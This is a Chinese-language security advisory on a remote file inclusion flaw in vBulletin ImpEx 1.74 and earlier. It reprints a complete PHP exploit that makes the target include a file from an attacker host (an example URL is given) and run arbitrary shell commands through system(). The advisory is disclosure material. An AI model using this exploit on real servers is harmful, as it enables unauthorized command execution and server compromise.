|
vBulletin ImpEx模块远程文件包含漏洞
发布日期:2006-03-23 更新日期:2006-03-23 受影响系统: VBulletin ImpEx <= 1.74描述: BUGTRAQ ID: 17206 vBulletin是一款开放源代码PHP论坛程序。 vBulletin程序在实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 在vBulletin的ImpEx模块中,ImpExData.php没有正确的过滤对systempath参数的输入,导致可以包含任意外部或本地的文件。具体来说: require_once ($systempath . 'impex/ImpExDatabase.php'); 在require_once()函数中使用之前没有设置$systempath变量,导致了上述漏洞。 <*来源:ReZEN (rezen@xorcrew.net) 链接:http://secunia.com/advisories/19352/print/ http://www.xorcrew.net/xpa/XPA-ImpEx.txt *> 测试方法: 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! -----BEGIN----- <?php /* vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? */ $cmd = $_POST["cmd"]; $turl = $_POST["turl"]; $hurl = $_POST["hurl"]; $form= "<form method=\"post\" action=\"".$PHP_SELF."\">" ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>" ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>" ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>" ."<input type=\"submit\" value=\"Submit\" name=\"submit\">" ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">"; if (!isset($_POST['submit'])) { echo $form; }else{ $file = fopen ("test.txt", "w+"); fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); system(\"echo ++END++\"); ?>"); fclose($file); $file = fopen ($turl.$hurl, "r"); if (!$file) { echo "<p>Unable to get output.\n"; exit; } echo $form; while (!feof ($file)) { $line .= fgets ($file, 1024)."<br>"; } $tpos1 = strpos($line, "++BEGIN++"); $tpos2 = strpos($line, "++END++"); $tpos1 = $tpos1+strlen("++BEGIN++"); $tpos2 = $tpos2-$tpos1; $output = substr($line, $tpos1, $tpos2); echo $output; } ?> ------END------
建议: 厂商补丁: VBulletin --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.vbulletin.com/docs/html/impex
|